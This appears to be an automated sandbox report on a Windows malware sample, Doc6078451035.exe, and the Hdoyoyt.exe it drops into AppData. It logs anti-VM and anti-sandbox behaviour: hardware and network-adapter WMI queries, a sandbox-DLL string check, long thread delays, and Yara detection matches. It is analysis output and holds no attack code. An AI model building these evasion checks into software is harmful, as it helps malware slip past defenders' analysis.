Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 3336, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Doc6078451035.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\Doc6078451035.exe	Memory allocated: 6F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Memory allocated: 2340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Memory allocated: 4340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Memory allocated: 3000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Memory allocated: 31C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Memory allocated: 51C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 32A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 1690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 3300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 5300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 6E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 2570000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 2380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 2B10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Memory allocated: 2910000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Doc6078451035.exe	Window / User API: threadDelayed 3568	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Window / User API: threadDelayed 813	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Window / User API: threadDelayed 614	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Window / User API: threadDelayed 3169	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 2476	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 6465	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 412	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 5949	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 805
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 2581
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Window / User API: threadDelayed 3042

Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 7000	Thread sleep count: 3568 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 7000	Thread sleep count: 813 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98662s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98529s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -98094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -97985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6928	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6948	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 6876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2084	Thread sleep count: 614 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2084	Thread sleep count: 3169 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -99015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe TID: 2852	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6332	Thread sleep count: 2476 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6332	Thread sleep count: 6465 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99870s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99764s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98121s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97903s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -96031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -95909s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -95781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -95656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -95547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -95437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1228	Thread sleep time: -95328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5088	Thread sleep count: 412 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 1260	Thread sleep count: 5949 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99315s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -98110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -96985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -96860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -96735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6212	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 3488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 2640	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 3520	Thread sleep count: 805 > 30
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99889s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99782s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 3520	Thread sleep count: 2581 > 30
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99657s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99532s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99407s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99297s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99188s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -99063s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98938s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98813s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98688s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98344s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98234s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -98125s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 6072	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 3284	Thread sleep count: 3042 > 30
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99891s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 3284	Thread sleep count: 348 > 30
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99766s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99657s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99532s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99422s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99313s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99188s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -99063s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98938s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98813s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98703s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98594s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98360s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98235s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -98110s >= -30000s
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe TID: 5368	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\Doc6078451035.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Doc6078451035.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Doc6078451035.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
